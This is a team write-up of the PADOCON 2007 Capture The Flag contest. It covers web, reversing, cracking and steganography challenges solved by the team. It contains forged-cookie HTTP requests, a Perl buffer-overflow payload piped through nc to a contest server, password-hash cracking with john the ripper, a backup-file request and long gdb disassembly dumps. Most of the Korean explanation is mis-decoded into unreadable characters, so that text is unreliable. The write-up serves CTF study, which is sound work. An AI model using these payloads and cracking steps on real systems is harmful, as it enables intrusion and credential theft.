PAraDox COnfereNce 2007 Capture The Flag ---------------------------------------- wow38317 team report -------------------- - ´ëȸ¹®Á¦ÀÇ ·¹º§ ȤÀº ¼ø¼­°¡ µû·Î ¾ø¾ú±â ¶§¹®¿¡ Ç®À̼ø¼­´Â ·£´ýÀÔ´Ï´Ù. Á¤½Å¾øÀÌ ´ëȸ¸¦ ÇÏ´Ùº¸´Ï ¹®Á¦Á¤º¸¸¦ µû·Î ±â·ÏÇصÎÁö ¾Ê¾Æ¼­ ÀÚ¼¼ÇÑ Ç®À̸¦ ÇÏÁö ¸øÇÑÁ¡ ¹Ì¸® ¾çÇØÀÇ ¸»¾¸ µå¸³´Ï´Ù. - ============= Stage1, Bingo ============= unhash ¹®Á¦) ÁÖ¾îÁø À¥ÆäÀÌÁö¿¡ ÀÖ´Â hash°ªµéÀ» ³ª´©¾î Ç®¾îº¸´Ï s3xypad0c5n À̶õ ´äÀ» ¾òÀ» ¼ö ÀÖ¾ú½À´Ï´Ù. Cookie ¹®Á¦) padowave=key ¶ó´Â ÄíÅ°°¡ ƯÁ¤ ÆäÀÌÁö¸¦ °ÅÄ¡¸ç DeleteµÈ ÈÄ, ÀÎÁõÆä¿¡Áö·Î ³Ñ¾î°¡±â¶§¹®¿¡ ÄíÅ°°¡ Áö¿öÁö´Â ÆäÀÌÁö´Â °Ç³Ê ¶ç°í ÀÎÁõÆäÀÌÁö¸¦ ¹Ù·Î ¿äûÇÏ¿© ¾Æ·¡¿Í °°ÀÌ ´äÀ» ±¸ÇÏ¿´½À´Ï´Ù. [hkpco@ns hkpco]$ telnet 155.230.251.100 80 Trying 155.230.251.100... Connected to 155.230.251.100. Escape character is '^]'. GET http://155.230.251.100/~q4/mong/kite815/result.php HTTP/1.0 Cookie: padowave=key HTTP/1.1 200 OK Date: Fri, 19 Jan 2007 04:30:08 GMT Server: Apache/2.0.40 (Red Hat Linux) Accept-Ranges: bytes X-Powered-By: PHP/4.2.2 Content-Length: 73 Connection: close Content-Type: text/html; charset=ISO-8859-1

Bravo! Æнº¿öµå´Â 'padowaveshocking' ÀÔ´Ï´Ù. Connection closed by foreign host. Ajax ¹®Á¦) ÇØ´ç ÆäÀÌÁöÀÇ source-view¸¦ ÅëÇØ ÀÚ¹Ù½ºÅ©¸³Æ® ÆÄÀÏÀ» ¿­¶÷ÇÏ¿© Á¤´äÆäÀÌÁöÀÇ ÁÖ¼Ò¸¦ ¾òÀ» ¼ö ÀÖ¾ú½À´Ï´Ù. [hkpco@ns public_html]$ telnet 155.230.251.17 80 Trying 155.230.251.17... Connected to 155.230.251.17. Escape character is '^]'. GET http://155.230.251.17/~hack2/sorry.php HTTP/1.0 HTTP/1.1 200 OK Date: Fri, 19 Jan 2007 17:41:16 GMT Server: Apache X-Powered-By: PHP/4.3.9 Content-Length: 185 Connection: close Content-Type: text/html; charset=euckr
Connection closed by foreign host. [hkpco@ns public_html]$ - req.js - . . . el.innerHTML = seg; } } url = './wanted.php'; <- Á¤´ä ÆäÀÌÁö req.open('GET', url, true); req.send(''); . . . - end - http://155.230.251.17/~hack2/wanted.php passwd : yousogood Shuffle) ¼ÅÇÃÀ» ÇÏ´Ù°¡ ¿îÁÁ°Ô º¸³Ê½º ¹®Á¦°¡ °É·È½À´Ï´Ù. ============================ Bonus ¹®Á¦ ÀÔ´Ï´Ù. Password : OverTheRainbow Ãß°¡·Î ·£´ýÀ¸·Î º¸³Ê½º°¡.... ============================ Crack ¹®Á¦) MyCTF_14.exeÆÄÀÏÀ» ¸®¹ö½Ì ÇÏÁö ¾Ê°í Á÷Á¢ ´ëÀÔÀ» ÅëÇÏ¿© ¾ÏȣȭµÈ ¹®ÀÚ¿­°ú ÀÏÄ¡½ÃÄ×½À´Ï´Ù. ( Àß »ìÆ캸¸é ÇÁ·Î±×·¥ÀÇ ±ÔÄ¢µµ ãÀ» ¼ö ÀÖ½À´Ï´Ù. ) ´äÀº SeriesAndEncryption Disassemble ¹®Á¦) ¸®´ª½º ÇÁ·Î±×·¥ÀÇ µð½º¾î¼À °á°ú¸¦ ÀÌ¿ëÇÏ¿© ´äÀ» ±¸ÇÏ´Â ¹®Á¦ÀÔ´Ï´Ù. calculationºÎºÐÀ» Àß »ìÆ캸¸é ´äÀ» ±¸ÇÒ ¼ö ÀÖ½À´Ï´Ù. switch±¸¹®À» ÀÌ¿ëÇÑ ÇÔ¼öÀÔ´Ï´Ù. 0x08048465 : push %ebp 0x08048466 : mov %esp,%ebp 0x08048468 : sub $0xc,%esp 0x0804846b : mov 0x8(%ebp),%eax 0x0804846e : mov %al,0xffffffff(%ebp) 0x08048471 : movsbl 0xffffffff(%ebp),%eax 0x08048475 : sub $0x43,%eax 0x08048478 : mov %eax,0xfffffff4(%ebp) 0x0804847b : cmpl $0x2f,0xfffffff4(%ebp) 0x0804847f : ja 0x80484d5 0x08048481 : mov 0xfffffff4(%ebp),%edx 0x08048484 : mov 0x80485ec(,%edx,4),%eax 0x0804848b : jmp *%eax 0x0804848d : movl $0x4d,0xfffffff8(%ebp) 0x08048494 : jmp 0x80484dc 0x08048496 : movl $0x69,0xfffffff8(%ebp) 0x0804849d : jmp 0x80484dc 0x0804849f : movl $0x6c,0xfffffff8(%ebp) 0x080484a6 : jmp 0x80484dc 0x080484a8 : movl $0x6b,0xfffffff8(%ebp) 0x080484af : jmp 0x80484dc 0x080484b1 : movl $0x79,0xfffffff8(%ebp) 0x080484b8 : jmp 0x80484dc 0x080484ba : movl $0x77,0xfffffff8(%ebp) 0x080484c1 : jmp 0x80484dc 0x080484c3 : movl $0x61,0xfffffff8(%ebp) 0x080484ca : jmp 0x80484dc 0x080484cc : movl $0x79,0xfffffff8(%ebp) 0x080484d3 : jmp 0x80484dc 0x080484d5 : movl $0x2a,0xfffffff8(%ebp) 0x080484dc : mov 0xfffffff8(%ebp),%eax 0x080484df : leave 0x080484e0 : ret Áß¿äÇÑ ºÎºÐ¸¸ ³ªÅ¸³»¾î º¸¸é switch( value ) { case 'C': return 'M'; case 'l': return 'i'; case 'e': return 'l'; case 'a': return 'k'; case 'r': return 'y'; case 'L': return 'w'; case 'i': return 'a'; case 'n': return 'y'; default: return '*'; } ±×·¯¹Ç·Î ´äÀº, Milkyway BufferOverFlow ¹®Á¦) ! ¹®ÀÚ¸¦ ÀÌ¿ëÇÏ¿© ÁÖ¼Ò°ªÀ» ¸ÂÃá µÚ BOF¸¦ ÀÌ¿ëÇÏ¿© ´äÀÌÀÖ´Â bufferÁÖ¼Ò¸¦ Ãâ·ÂÇϵµ·Ï ÇÏ¿´½À´Ï´Ù. [hkpco@ns hkpco]$ (perl -e 'print "\x21"x12,"\xe0\xa2\x04\x08"') | nc 155.230.251.17 5553 ################
################# &ReadBuffer: 0xfee7a820 &KeywordAddress: 0x804a2e0 &printPtr: 0xfee7a414 *printPtr: 0xfee7a420 &start resultBuffer: 0xfee7a420 &end resultBuffer: 0xfee7a420 ######################################################## Solution> ################
################# &ReadBuffer: 0xfee7a820 &KeywordAddress: 0x804a2e0 &printPtr: 0xfee7a414 *printPtr: 0x804a2e0 &start resultBuffer: 0xfee7a420 &end resultBuffer: 0xfee7a418 ######################################################## ResultPrint>Congretuation!! NextPassword: aWorldWhereAnythingIsPossible Sensitive ¹®Á¦) Á¤»ç°¢Çü ±×¸² À§¿¡ °íÁ¤µÈ Á¤»ç°¢Çü 4°³¿Í ¿òÁ÷ÀÌ´Â Á¤»ç°¢Çü 4°³°¡ ÀÖ½À´Ï´Ù. ¿òÁ÷ÀÌ´Â Á¤»ç°¢ÇüÀ» °íÁ¤µÈ Á¤»ç°¢Çü À§¿¡ ¸ÂÃß¾î¾ßÇÕ´Ï´Ù. ¸ÂÃß´Â ¹æ¹ýÀº Cookie°ªÀ» base64·Î µðÄÚµù ½ÃŲ µÚ 4°³·Î ³ª´©°í ±× ³ª´«°ÍÀ» ´Ù½Ã ¶Ç 2°³·Î ³ª´©¸é ÇØ´ç »ç°¢ÇüÀÇ x,yÁÂÇ¥°ªÀÌ µË´Ï´Ù. ¾Ë¾¾¸¦ ÀÌ¿ëÇÏ¿© ÁÂÇ¥°ªÀ» ¾Ë¾Æ ³½ µÚ base64·Î ÀÎÄÚµùÇÏ¿© °ªÀ» º¸³»´Ï ÀÎÁõÀÌ ¼º°øÇÏ°í ´äÀ» ±¸ÇÒ ¼ö ÀÖ¾ú½À´Ï´Ù. [hkpco@ns ctf2007]$ GET http://155.230.251.91/~fortune/ABD70838C9D85E38B6191870B40F21C0.php HTTP/1.0 Referer: http://155.230.251.91/~fortune/hardcore1.php Host: 155.230.251.91 Cookie: SESSIONID=MjUzZTc5MjIxOThhOUM4MQ== Congratulations! Authentication Code: Ker@ber@$ Steganography ¹®Á¦) ¹®Á¦ÆäÀÌÁö¿¡ ÀÖ´Â escape¹®ÀÚ¿­À» ¹Ù²Ù¾î ÁÖ¸é ÀÚ¹Ù½ºÅ©¸³Æ® ¼Ò½º°¡ Àִµ¥ ±× ¼Ò½º¿¡¼­ #P%A!D@O$R$I!D%A ¶ó´Â Å°°ªÀ» ¾òÀ» ¼ö ÀÖ½À´Ï´Ù. Å°°ªÀ» ÀÌ¿ëÇÏ¿© S-TOOLÀ̶õ ½ºÅ×°¡³ë±×·¡ÇÇ ÇÁ·Î±×·¥À¸·Î ´äÀ» ±¸Çß½À´Ï´Ù. [[[[[[[[ÃàÇÏÇÕ´Ï´Ù.]]]]]]]]]]] ---------------------------------------------------- | ÀÎÁõ Æнº¿öµå | ---------------------------------------------------- | Truth will win out in the long run. | ---------------------------------------------------- ¾Ïȣȭ±ÔÄ¢ ¹®Á¦) ¹®Á¦ÆäÀÌÁö: http://155.230.251.77/~kertAdmin/garam5th Guest·Î ·Î±×ÀÎ ÇÏ¿´À»¶§ Á¤º¸ÆäÀÌÁö¿¡ ºñ¹Ð¹øÈ£¸¦ ¾ÏȣȭÇÏ¿© ³ªÅ¸³»¾ú½À´Ï´Ù. °£´ÜÇÑ ÀÎÄÚµù ¹æ½ÄÀεí Çѵ¥ ¹®ÀÚ¿­ÀÌ ¹Ù²ð¶§¸¶´Ù ÄíÅ°°ªµµ ¹Ù²î¾ú½À´Ï´Ù. Admin2007°ú ´ëÀÔ½ÃÅ°±â À§ÇØ ÇÊ¿äÇÑ ¹®ÀÚ¿­µéÀÇ ÀÎÄÚµù °ªµéÀ» ±¸ÇÏ¿© ´äÀ» ¾ò¾ú½À´Ï´Ù. Á¤´äÀº, EoRkfwhgdmsQksWb29724791 ´ÜÀϹ®ÀÚġȯ¾ÏÈ£¹ý ¹®Á¦) ¹®Á¦ ÆäÀÌÁö¿¡ ÀÖ´Â °¢ ¿µ¹®ÀÚµéÀÇ ³ª¿À´Â ºóµµ¿Í ÀϹÝÀûÀÎ ¾ËÆĺªÀÇ ³ª¿À´Â ºóµµ¸¦ ºñ±³ÇÏ´Â ¹æ¹ýÀÔ´Ï´Ù. ÇϳªÀÇ ¹®ÀåÀ» ÃßÃøÇÏ¿© °è¼Ó À¯ÃßÇسª°¡¸ç ´äÀ» ±¸Çß½À´Ï´Ù. Á¤´äÀº, alien ÀüÈ­±â ¹®Á¦) ÀüÈ­±â ¹®Á¦´Â ÇØ´ç Wav ÆÄÀÏÀÇ °íÀ¯ ÁÖÆļö ºÐ¼®À» Çغ¸¸é °íÁÖÆļö´ëÀÇ »ó, Áß, ÇÏ·Î ±¸ºÐÀ» ÇÒ ¼ö ÀÖ°í ÀúÁÖÆļö´ëÀÇ »ó, Áß, ÇÏ·Î ±¸ºÐÀ» ÇÒ ¼ö ÀÖ½À´Ï´Ù. Cooledit¸¦ ÅëÇؼ­ ÇØ´ç Wav ÆÄÀÏÀ» ºÐ¼® Çϸé À§¿¡¼­ ¸»ÇÑ ´ë·Î ±¸ºÐÀÌ µÉ ¼ö ÀÖ°í ÀÌ°ÍÀ» ¾Æ·¡ÀÇ ÀüÈ­ ¹öÆ° ÁÖÆļö ´ë¿ª°ú ºñ±³Çϸé ÇØ´ç ¹öÆ°À» ¸î ¹ø ´­·¶´ÂÁö ±¸ºÐÀÌ °¡´ÉÇÕ´Ï´Ù. ±×¸®°í ÇØ´ç ¹öÆ°¿¡ ¼ÓÇØÁø ¾ËÆĺªÀ» ã¾Æ¼­ ºñ±³¸¦ Çغ¸¸é µË´Ï´Ù. ´äÀº, hackingandsecurity crack ¹®Á¦) lastSAMÆÄÀϳ»¿ëÀÌ /etc/shadowÆÄÀÏ°ú ±¸Á¶°¡ ºñ½ÁÇÏ¿´½À´Ï´Ù. john the ripper¸¦ ÀÌ¿ëÇÏ¿© ´äÀ» ±¸Çß½À´Ï´Ù. [hkpco@ns run]$ cat ct padocon:1006:3A2031B32E4880E0AAD3B435B51404EE:C75B184F1A53D557945F640A370AE3F8::: [hkpco@ns run]$ ./john -show ct padocon:OKAY:1006:C75B184F1A53D557945F640A370AE3F8::: 1 password cracked, 0 left Á¤´äÀº, okay ====== Stage2 ====== ù¹ø° ¹®Á¦) LEA ESI,DWORD PTR DS:[EDX-2] MOV EDI,ESI IMUL EDI,ESI LEA ESI,DWORD PTR DS:[EDI*4-10] TEST ESI,ESI . . LEA EBX,DWORD PTR DS:[EDX*4] MOV EDI,DWORD PTR DS:[ECX+4E4] LEA ESI,DWORD PTR DS:[EBX-3] IMUL ESI,EDX CMP EDI,ESI . . MOV ESI,DWORD PTR DS:[ECX+4EC] LEA EDX,DWORD PTR DS:[EDX+EDX*4] SUB EDX,EDI ADD EDX,2B CMP ESI,EDX a-b-c-d ¶ó´Â ½Ã¸®¾óÀÌ ÀÖ´Ù°í °¡Á¤ÇÏ°í, b,c,dºÎºÐÀÇ ·çƾÀ» ³ª´©¾î ÇØ´ç opcodeµéÀ» Çؼ®ÇÏ¸é ½Ã¸®¾óÀ» ±¸ÇÒ ¼ö ÀÖ½À´Ï´Ù. ( a ºÎºÐÀº »ó°üÀÌ ¾ø´Â ºÎºÐÀÔ´Ï´Ù. ) ±¸ÇÑ ½Ã¸®¾óÀº 777-52-4-11 À̸ç, ÇÁ·Î±×·¥¿¡ ÀÔ·ÂÇϸé johnsonsbaby¶ó´Â ´äÀÌ ³ª¿É´Ï´Ù. µÎ¹ø° ¹®Á¦) ¹®Á¦ÆäÀÌÁö: http://155.230.251.100/~q2/vani/ ¼Ò½ºº¸±â¸¦ Çغ¸¸é, ¾î¸±Àû ²Þ¿¡¼­ º» ±â¾ïÀÌ ³­´Ù.
³­ Áö±Ý »ç¶÷µéÀÌ µ¹¾Æ´Ù´Ñ ÈçÀûÀÌ ¾ø´Â ³¸¼± ½£¼Ó¿¡ µé¾î¿Ô´Ù.

½£¼Ó¿£ °Çµå·Á¼­´Â ¾ÈµÉ ¼ºÁöÀÎ³É Ç³¼ºÇÑ °úÀÏÀÌ ÁÖ··ÁÖ·· ³ÑÃijª°í ÁöÀú±Í´Â »ê»õ¼Ò¸®°¡ ÆòÈ­·Ó°Ô Á¶À²ÇÑ´Ù.
¾ÈÀ¸·Î Â÷Ãû µé¾î°¡¸é¼­ ºûÀÌ µé¾î¿ÀÁö ¾Ê´Â ¾ÏÈæÀÌ µå¸®¿öÁ³°í, ¾îµò°¡ µé¸®´Â À½»êÇÑ ¸ñ¼Ò¸®°¡ ³ª¸¦ ²ø¾îµéÀδÙ.

¸ñ¼Ò¸®¿¡ °¡±îÀÌ °¥¼ö·Ï ºûÀÌ »õ¾î ³ª¿À°í ÀÖ´Ù´Â °ÍÀ» ´À²¼°í, ¸¶Ä§³» À½»êÇÑ ¸ñ¼Ò¸®ÀÇ ±Ù¿øÁö¸¦ ¹ß°ßÇß´Ù.
°Å±â¿£, 12¸íÀÇ »çµµ°¡ ¿ø ÁÖÀ§¸¦ 6¹ø¿¡ °ÉÃÄ ³Ñ³ªµé°í ÀÖ¾ú´Ù. ÇѹÙÄû..ÇѹÙÄû..

³­ ¹«¾ð°¡¿¡ Ȧ¸° µí ±× »çµµµéÀÌ ÇÏ´Â ÇൿÀ» ÁöÄѺ¸°í ÀÖÀ» ¼ö ¹Û¿¡ ¾ø¾ú°í, ¸¶Ä¡ ³¯ º¸Áö ¸øÇÑ ³É.. ¾Æ´Ï, º¸¾Ò´õ¶óµµ ½Å°æ¾²Áö ¾ÊÀº µí »çµµµéÀº ½Ã°£ °¡´Â°Íµµ ¸ð¸¥ ä ¿ø ÁÖÀ§¸¦ ¸Éµ¹¾Ò´Ù.
¸ù·ÕÇÑ ±âºÐ¿¡ »ç·ÎÀâÇô ±× »çµµµéÀ» ÁöÄѺ¸°í ÀÖÀ¸¸é, Áö³ª¿Ô´ø ¸ðµç°ÍÀ» ÀØÀ» ¼ö Àִµí.. Ȧ°¡ÇغÐÇØÁüÀ» ´À³¤´Ù. ±×·¯´Ù ²Þ¿¡¼­ ±ú¾î³ª¸é ½Ã°£Àº ¾î´À»õ ¹Ý³ªÀýÀÌ Áö³ªÀÖ°í, ±× »çµµµéÀº µÎ¹ø ´Ù½Ã ³» ²Þ¼ÓÀ» ÈÖÁ£Áö ¾Ê¾Ò´Ù.

¾ÆÁ÷µµ »ý»ýÈ÷ ±â¾ï³ª´Â À¯³â½ÃÀýÀÇ »çµµµéÀ» Ãß¾ïÇϸç..

!!No DoS please~!! ÀÚ¹Ù½ºÅ©¸³Æ® ÆÄÀÏ¿¡ ¼û°ÜÁ®ÀÖ´Â ÆäÀÌÁö¸¦ ã½À´Ï´Ù. - xhttpreq.js - . . . url = './ace.php'; req.open('GET', url, true); req.send(''); . . . - end - ace.phpÀÇ ¹é¾÷ÆÄÀÏÀ» ÀÌ¿ëÇÏ¿© ´äÀ» ±¸ÇÒ ¼ö ÀÖ½À´Ï´Ù. [hkpco@ns ctf2007]$ telnet 155.230.251.100 80 Trying 155.230.251.100... Connected to 155.230.251.100. Escape character is '^]'. GET http://155.230.251.100/~q2/vani/ace.php.bak HTTP/1.0 . . . .........t1m3_By_K3R7 . . . Á¤´äÀº t1m3_By_K3R7 ¼¼¹ø° ¹®Á¦) ¹®Á¦: ºù°í·Î µ¹¾Æ°¡¼Å¼­ ´Ù½Ã ¹®Á¦¸¦ Ǫ½Ê½Ã¿À. ƯÁ¤ 3¹®Á¦¸¦ Ç®¾î Àß Á¶ÇÕÇÏ¸é ´äÀÌ ³ª¿É´Ï´Ù. ºù°íÆäÀÌÁöÀÇ ±â¾ïÇØ µÎ¶ó´Â ¹®±¸°¡ ÀÖ´Â ¼¼°¡Áö ¹®Á¦ÀÇ ´Ü¾î¸¦ Á¶ÇÕÇÏ¿© ÀÎÁõÇÕ´Ï´Ù. ³×¹ø° ¹®Á¦) ¹®Á¦: ÀÎÁõÀÌ ÇÊ¿äÇÑ ¹®Á¦ÀÔ´Ï´Ù. ctf.padocon@gmail.comÀ¸·Î ¸ÞÀÏÀ» º¸³»Áֽøé ÀÎÁõÀ» Çص帮°Ú½À´Ï´Ù. ÀÎÁõÆäÀÌÁöÀÇ index.htmlÀ» wgetÀ¸·Î ¹Þ¾Æ¼­ xxd¸¦ ÀÌ¿ëÇÏ¿© »ìÆ캾´Ï´Ù. ÆÄÀÏÆ÷¸äÀÌ ELFÀ롃 º¸´Ï ¸®´ª½º¿¡¼­ »ç¿ëµÇ´Â°ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. gdb¸¦ ÀÌ¿ëÇÏ¿© °£´ÜÈ÷ µð¹ö±ë ÇØ º¸¸é, [hkpco@ns ctf2007]$ gdb -q index.html (gdb) disassemble main Dump of assembler code for function main: 0x08048784 : push %ebp 0x08048785 : mov %esp,%ebp 0x08048787 : sub $0x48,%esp 0x0804878a : and $0xfffffff0,%esp 0x0804878d : mov $0x0,%eax 0x08048792 : sub %eax,%esp 0x08048794 : sub $0x4,%esp 0x08048797 : push $0x0 0x08048799 : push $0x1 0x0804879b : push $0x2 . . . 0x08048891 : push $0x8048fc5 0x08048896 : call 0x8048624 0x0804889b : add $0x10,%esp 0x0804889e : jmp 0x804885e 0x080488a0 : call 0x80488bd 0x080488a5 : sub $0xc,%esp 0x080488a8 : pushl 0x804a3b0 0x080488ae : call 0x8048594 0x080488b3 : add $0x10,%esp 0x080488b6 : jmp 0x804885e 0x080488b8 : mov 0xffffffc0(%ebp),%eax 0x080488bb : leave 0x080488bc : ret End of assembler dump. recive¶ó´Â »ç¿ëÀÚ ÇÔ¼ö°¡ º¸ÀÔ´Ï´Ù. (gdb) disassemble recive Dump of assembler code for function recive: 0x080488bd : push %ebp 0x080488be : mov %esp,%ebp 0x080488c0 : sub $0xc18,%esp 0x080488c6 : movl $0x0,0xfffff404(%ebp) 0x080488d0 : movl $0x0,0xfffff3fc(%ebp) 0x080488da : mov 0x4(%ebp),%eax 0x080488dd : mov %eax,0xfffff3f8(%ebp) 0x080488e3 : push $0x0 0x080488e5 : push $0x3e8 0x080488ea : lea 0xfffff408(%ebp),%eax 0x080488f0 : push %eax 0x080488f1 : pushl 0x804a3b0 0x080488f7 : call 0x80486a4 0x080488fc : add $0x10,%esp . . . 0x080489bc : mov %eax,0xfffff3f4(%ebp) 0x080489c2 : mov 0xfffff3f8(%ebp),%eax 0x080489c8 : cmp 0xfffff3f4(%ebp),%eax 0x080489ce : je 0x80489d2 0x080489d0 : jmp 0x80489e4 0x080489d2 : sub $0xc,%esp 0x080489d5 : lea 0xfffff7f8(%ebp),%eax 0x080489db : push %eax 0x080489dc : call 0x80489e6 0x080489e1 : add $0x10,%esp 0x080489e4 : leave 0x080489e5 : ret End of assembler dump. parse¶ó´Â »ç¿ëÀÚ ÇÔ¼ö°¡ º¸ÀÔ´Ï´Ù. (gdb) disassemble parse Dump of assembler code for function parse: 0x080489e6 : push %ebp 0x080489e7 : mov %esp,%ebp 0x080489e9 : sub $0x17e8,%esp 0x080489ef : movl $0x0,0xfffffbf4(%ebp) 0x080489f9 : movl $0x0,0xffffe854(%ebp) 0x08048a03 : movl $0x0,0xffffe84c(%ebp) 0x08048a0d : sub $0xc,%esp 0x08048a10 : pushl 0x8(%ebp) 0x08048a13 : call 0x80485f4 0x08048a18 : add $0x10,%esp 0x08048a1b : cmp %eax,0xffffe84c(%ebp) 0x08048a21 : jb 0x8048a28 0x08048a23 : jmp 0x8048c99 0x08048a28 : mov 0xffffe84c(%ebp),%eax . . . 0x08048dfd : push $0x1388 0x08048e02 : lea 0xffffe858(%ebp),%eax 0x08048e08 : push %eax 0x08048e09 : pushl 0x804a3b0 0x08048e0f : call 0x8048674 0x08048e14 : add $0x10,%esp 0x08048e17 : leave 0x08048e18 : ret End of assembler dump. (gdb) ¾öû³ª°Ô ±é´Ï´Ù. ¾Æ¸¶µµ ¼­¹öÀÇ ¿äûÀ» ºÐ¼®/ó¸®ÇÏ´Â ºÎºÐ °°½À´Ï´Ù. ¶Ç ¾î¶² ÇÔ¼ö°¡ »ç¿ëµÇ¾ú´ÂÁö º¸°Ú½À´Ï´Ù. (gdb) info func All defined functions: Non-debugging symbols: 0x0804854c _init 0x08048574 localtime 0x08048584 strcmp 0x08048594 close 0x080485a4 accept 0x080485b4 listen 0x080485c4 strftime 0x080485d4 time 0x080485e4 fgets 0x080485f4 strlen 0x08048604 __libc_start_main 0x08048614 strcat 0x08048624 printf 0x08048634 bind 0x08048644 fclose 0x08048654 exit 0x08048664 sscanf 0x08048674 send 0x08048684 htons 0x08048694 fopen 0x080486a4 recv 0x080486b4 sprintf 0x080486c4 socket 0x080486f8 call_gmon_start 0x0804871c __do_global_dtors_aux 0x08048758 frame_dummy 0x08048784 main 0x080488bd recive 0x080489e6 parse 0x08048e19 target 0x08048edc __libc_csu_init 0x08048f0c __libc_csu_fini 0x08048f40 __do_global_ctors_aux 0x08048f64 _fini targetÀ̶õ ÇÔ¼ö°¡ ÀÖ½À´Ï´Ù. (gdb) disassemble target Dump of assembler code for function target: 0x08048e19 : push %ebp 0x08048e1a : mov %esp,%ebp 0x08048e1c : sub $0x298,%esp 0x08048e22 : sub $0x8,%esp 0x08048e25 : push $0x80491e2 0x08048e2a : push $0x80491e4 0x08048e2f : call 0x8048694 0x08048e34 : add $0x10,%esp 0x08048e37 : mov %eax,0xfffffff4(%ebp) 0x08048e3a : sub $0x4,%esp 0x08048e3d : pushl 0xfffffff4(%ebp) 0x08048e40 : push $0x64 0x08048e42 : lea 0xffffff78(%ebp),%eax 0x08048e48 : push %eax 0x08048e49 : call 0x80485e4 0x08048e4e : add $0x10,%esp 0x08048e51 : sub $0xc,%esp 0x08048e54 : pushl 0xfffffff4(%ebp) 0x08048e57 : call 0x8048644 0x08048e5c : add $0x10,%esp 0x08048e5f : lea 0xffffff78(%ebp),%eax 0x08048e65 : push %eax 0x08048e66 : lea 0xffffff78(%ebp),%eax 0x08048e6c : sub $0x8,%esp 0x08048e6f : push %eax 0x08048e70 : call 0x80485f4 0x08048e75 : add $0xc,%esp 0x08048e78 : push %eax 0x08048e79 : push $0x8049200 0x08048e7e : lea 0xfffffd78(%ebp),%eax 0x08048e84 : push %eax 0x08048e85 : call 0x80486b4 0x08048e8a : add $0x10,%esp 0x08048e8d : push $0x0 0x08048e8f : push $0x1f4 0x08048e94 : lea 0xfffffd78(%ebp),%eax 0x08048e9a : push %eax 0x08048e9b : pushl 0x804a3b0 0x08048ea1 : call 0x8048674 0x08048ea6 : add $0x10,%esp 0x08048ea9 : mov %eax,0xfffffd74(%ebp) 0x08048eaf : sub $0xc,%esp 0x08048eb2 : pushl 0x804a3b0 0x08048eb8 : call 0x8048594 0x08048ebd : add $0x10,%esp 0x08048ec0 : sub $0xc,%esp 0x08048ec3 : pushl 0x804a3ac 0x08048ec9 : call 0x8048594 0x08048ece : add $0x10,%esp 0x08048ed1 : sub $0xc,%esp 0x08048ed4 : push $0x0 0x08048ed6 : call 0x8048654 0x08048edb : nop End of assembler dump. ¾Æ¸¶µµ ¼­¹ö¿¡ ÀÖ´Â ÆÄÀÏÀ» ¿­¾î ¾ÏÈ£¸¦ »Ñ·ÁÁÖ´Â ºÎºÐ °°½À´Ï´Ù. 0x08048e25 : push $0x80491e2 0x08048e2a : push $0x80491e4 0x08048e2f : call 0x8048694 0x08048e34 : add $0x10,%esp 0x08048e37 : mov %eax,0xfffffff4(%ebp) ¾î¶°ÇÑ ÆÄÀÏÀ» ¿©´ÂÁö º¸°Ú½À´Ï´Ù. (gdb) x/s 0x80491e2 0x80491e2 <_IO_stdin_used+606>: "r" (gdb) x/s 0x80491e4 0x80491e4 <_IO_stdin_used+608>: "passwd" (gdb) fp = fopen( "passwd" , "r" ); passwdÆÄÀÏÀ» ¿±´Ï´Ù. 0x08048e37 : mov %eax,0xfffffff4(%ebp) 0x08048e3a : sub $0x4,%esp 0x08048e3d : pushl 0xfffffff4(%ebp) 0x08048e40 : push $0x64 0x08048e42 : lea 0xffffff78(%ebp),%eax 0x08048e48 : push %eax 0x08048e49 : call 0x80485e4 0x08048e4e : add $0x10,%esp fgets( buffer , 100(0x64) , fp ); fgets¸¦ ÀÌ¿ëÇÏ¿© ¿­¸° ÆÄÀÏÀ» buffer·Î ÀоîµéÀÔ´Ï´Ù. 0x08048e51 : sub $0xc,%esp 0x08048e54 : pushl 0xfffffff4(%ebp) 0x08048e57 : call 0x8048644 0x08048e5c : add $0x10,%esp fclose(fp); ÆÄÀÏ µð½ºÅ©¸³Å͸¦ ´Ý½À´Ï´Ù. 0x08048e5f : lea 0xffffff78(%ebp),%eax 0x08048e65 : push %eax 0x08048e66 : lea 0xffffff78(%ebp),%eax 0x08048e6c : sub $0x8,%esp 0x08048e6f : push %eax 0x08048e70 : call 0x80485f4 0x08048e75 : add $0xc,%esp 0x08048e78 : push %eax 0x08048e79 : push $0x8049200 0x08048e7e : lea 0xfffffd78(%ebp),%eax 0x08048e84 : push %eax 0x08048e85 : call 0x80486b4 0x08048e8a : add $0x10,%esp (gdb) x/s 0x8049200 0x8049200 <_IO_stdin_used+636>: "HTTP/1.1 200 OK\nContent-Length: %d\nContetnt-Type: text/html; charset=iso-8859-1\n\n%s" sprintf( buffer , "HTTP/1.1 200 OK\nContent-Length: %d\nContetnt-Type: text/html; charset=iso-8859-1\n\n%s" , strlen(buffer) , buffer ); buffer¿¡ Àü¼ÛµÉ ¿äûÀ» ´ã½À´Ï´Ù. 0x08048e8d : push $0x0 0x08048e8f : push $0x1f4 0x08048e94 : lea 0xfffffd78(%ebp),%eax 0x08048e9a : push %eax 0x08048e9b : pushl 0x804a3b0 0x08048ea1 : call 0x8048674 0x08048ea6 : add $0x10,%esp send( client , buffer , 500(0x1f4) , 0 ); socketÀ¸·Î Ŭ¶óÀ̾ðÆ®¿¡°Ô ½î¾ÆÁÝ´Ï´Ù. 0x08048ea9 : mov %eax,0xfffffd74(%ebp) 0x08048eaf : sub $0xc,%esp 0x08048eb2 : pushl 0x804a3b0 0x08048eb8 : call 0x8048594 0x08048ebd : add $0x10,%esp close( client ); ¼ÒÄÏ ±â¼úÀÚ¸¦ ´Ý½À´Ï´Ù. 0x08048ec0 : sub $0xc,%esp 0x08048ec3 : pushl 0x804a3ac 0x08048ec9 : call 0x8048594 0x08048ece : add $0x10,%esp close( sockfd ); ¼ÒÄÏ ±â¼úÀÚ¸¦ ´Ý½À´Ï´Ù. 0x08048ed1 : sub $0xc,%esp 0x08048ed4 : push $0x0 0x08048ed6 : call 0x8048654 exit(0); Á¾·áÇÕ´Ï´Ù. ¿©±â¼­ fopenºÎºÐ¸¸ Àß º¸¾Æµµ Á¤´äÀÌ ÀÖ´Â ÆÄÀÏÀº "passwd"¶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. passwdÆÄÀÏÀ» ¿äûÇغ¸¸é ´äÀ» ±¸ÇÒ ¼ö ÀÖ½À´Ï´Ù. http://155.230.251.100/~q3/hyungee/koziro4/passwd Á¤´äÀº, password is 